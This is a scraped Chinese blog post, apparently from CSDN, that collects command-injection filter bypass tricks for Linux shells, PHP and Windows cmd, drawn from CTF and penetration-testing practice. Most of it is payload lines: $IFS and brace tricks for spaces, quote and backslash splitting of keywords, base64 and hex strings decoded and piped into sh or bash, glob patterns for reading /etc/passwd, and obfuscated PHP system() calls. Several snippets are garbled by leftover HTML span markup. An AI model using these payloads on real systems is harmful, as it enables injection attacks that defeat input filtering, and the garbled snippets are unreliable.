命令执行绕过总结

        <link rel="stylesheet" href="https://csdnimg.cn/release/phoenix/template/css/ck_htmledit_views-211130ba7a.css">
                        <div id="content_views" class="markdown_views prism-atom-one-dark">
                <!-- flowchart 箭头图标 勿删 -->
                <svg xmlns="http://www.w3.org/2000/svg" style="display: none;">
                    <path stroke-linecap="round" d="M5,0 0,2.5 5,5z" id="raphael-marker-block" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);"></path>
                </svg>
                                        <h2><a name="t0"></a><a id="_0"></a>命令执行绕过总结</h2>
Linux篇

命令拼接

a=who
b=ami
$a$b //输出whoami

 
 
 
 
  • 1
  • 2
  • 3

常用字符使用

&            表示将任务置于后台执行
;            多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块
&&           只有在 && 左边的命令返回真(命令返回值 $? == 0),&&右边的命令才会被执行。
||           只有在 || 左边的命令返回假(命令返回值 $? == 1),||右边的命令才会被执行。
%0a
%0d
| (管道符)     |表示管道,上一条命令的输出,作为下一条命令的参数

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

利用环境变量
在这里插入图片描述
可以通过截取不同的字符执行命令

${PATH:5:1}	//l
${PATH:2:1}	//s
${PATH:5:1}${PATH:2:1}	//拼接后是ls,执行命令
${PATH:5:1}s			//拼接后是ls,执行命令

 
 
 
 
  • 1
  • 2
  • 3
  • 4

空格绕过
在实战和CTF中都有遇到过

$IFS
$IFS$1
${IFS}
$IFS$9
<     比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20
%09

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

绕过关键字

wh\o\ami	//反斜线绕过
who"a"mi	//双引号绕过
whoa'm'i	//单引号绕过
whoam``i	//反引号绕过
echo d2hvYW1p|base64 -d|sh	  #base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash  #base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码

// ∗ < / s p a n > 和 < s p a n c l a s s = " t o k e n v a r i a b l e " > *</span>和<span class="token variable"> </span><spanclass="tokenvariable">@ x < / s p a n > < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ( < / s p a n > x 代 表 1 − 9 < s p a n c l a s s = " t o k e n p u n c t u a t i o n " > ) < / s p a n > , < s p a n c l a s s = " t o k e n v a r i a b l e " > x</span><span class="token punctuation">(</span>x 代表 1-9<span class="token punctuation">)</span>,<span class="token variable"> x</span><spanclass="tokenpunctuation">(</span>x19<spanclass="tokenpunctuation">)</span>,<spanclass="tokenvariable">{x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh 1 o a m i < / s p a n > < s p a n c l a s s = " t o k e n f u n c t i o n " > w h o < / s p a n > < s p a n c l a s s = " t o k e n v a r i a b l e " > 1oami</span> <span class="token function">who</span><span class="token variable"> 1oami</span><spanclass="tokenfunction">who</span><spanclass="tokenvariable">@ami
whoa$*mi
#cat被过滤时,还可以考虑使用tac命令

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

骚操作

//字符夹命令
666`whoami`666		//bash: 666root666: command not found
666`\whoami`666		//bash: 666root666: command not found
//命令执行后的结果在2个666中间

//命令夹字符
w</span>f1hgb<span class="token variable">ho</span>f1hgb<span class="token variable">am</span>f1hgb<span class="token variable">i //反引号的作用是把括起来的字符当做命令执行
w</span>\f1hgb<span class="token variable">ho</span>\f1hgb<span class="token variable">am</span>\f1hgb<span class="token variable">i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh ( < / s p a n > f 1 h g b < s p a n c l a s s = " t o k e n v a r i a b l e " > ) < / s p a n > < / s p a n > o a < s p a n c l a s s = " t o k e n v a r i a b l e " > < s p a n c l a s s = " t o k e n v a r i a b l e " > (</span>f1hgb<span class="token variable">)</span></span>oa<span class="token variable"><span class="token variable"> (</span>f1hgb<spanclass="tokenvariable">)</span></span>oa<spanclass="tokenvariable"><spanclass="tokenvariable">(f1hgb)mi //和上面的差不多,都说执行和拼接

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

在这里插入图片描述
在这里插入图片描述
上述的是既可以绕过命令,又可以绕过文件名的,下述的则是只能用来绕过文件名的:

cat fl[abc]g.php								 //匹配[abc]中的任何一个
cat f[a-z]ag.txt								 //匹配a-z范围的任何字符
cat fla*										 //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php		//内联执行

//正则
利用正则:比如要读取etc/passwd
cat /???/???
cat /???/pass*
cat /etc$u/passwd

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

命令执行函数绕过

system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
windows篇
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i""w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who^ami或wh""o^a^mi 或wh""o^a^mi"//正常执行
但是"wh""o^a^mi"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^o^am""i)或((((Wh^o^am""i)))) //正常执行 

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5

可以加任意个"但不能同时连续加2个^ 符号,因为^号是cmd中的转义符,跟在他后面的符号会被转义

set命令
知识点:用两个 % 括起来的变量,会输出变量的值

set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

 
 
 
 
  • 1
  • 2
  • 3
  • 4

在这里插入图片描述
切割字符

set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行

set a=abc qwe //先自定义
who%a:~0,1%mi //然后截断整理后就变成了:whoami,所以命令执行成功

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

注:上述可以使用减号,和python的切割效果差不多

逻辑运算符
|:可以连接命令,但只会执行后面的那条
||:只有前面的命令失败,才会执行后面的语句
&:前面的命令可以成功也可以失败,都会执行后面的命令
&&:必须两条命令都为真才可以全部执行。如果第一条语句错误,整个命令都不执行。如果第一条语句对,第二条错误,就只执行第一条
whoami | ping www.baidu.com
whoami || ping www.baidu.com
qwe & ping www.baidu.com
qwe && ping www.baidu.com

 
 
 
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

文章来源https://mp.weixin.qq.com/s/6E2fXnuHkBt_fgRZL6z7bA

                                </div><div data-report-view="{&quot;mod&quot;:&quot;1585297308_001&quot;,&quot;dest&quot;:&quot;https://blog.youkuaiyun.com/qq_44110340/article/details/107532395&quot;,&quot;extend1&quot;:&quot;pc&quot;,&quot;ab&quot;:&quot;new&quot;}"><div></div></div>
            <link href="https://csdnimg.cn/release/phoenix/mdeditor/markdown_views-60ecaf1f42.css" rel="stylesheet">
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值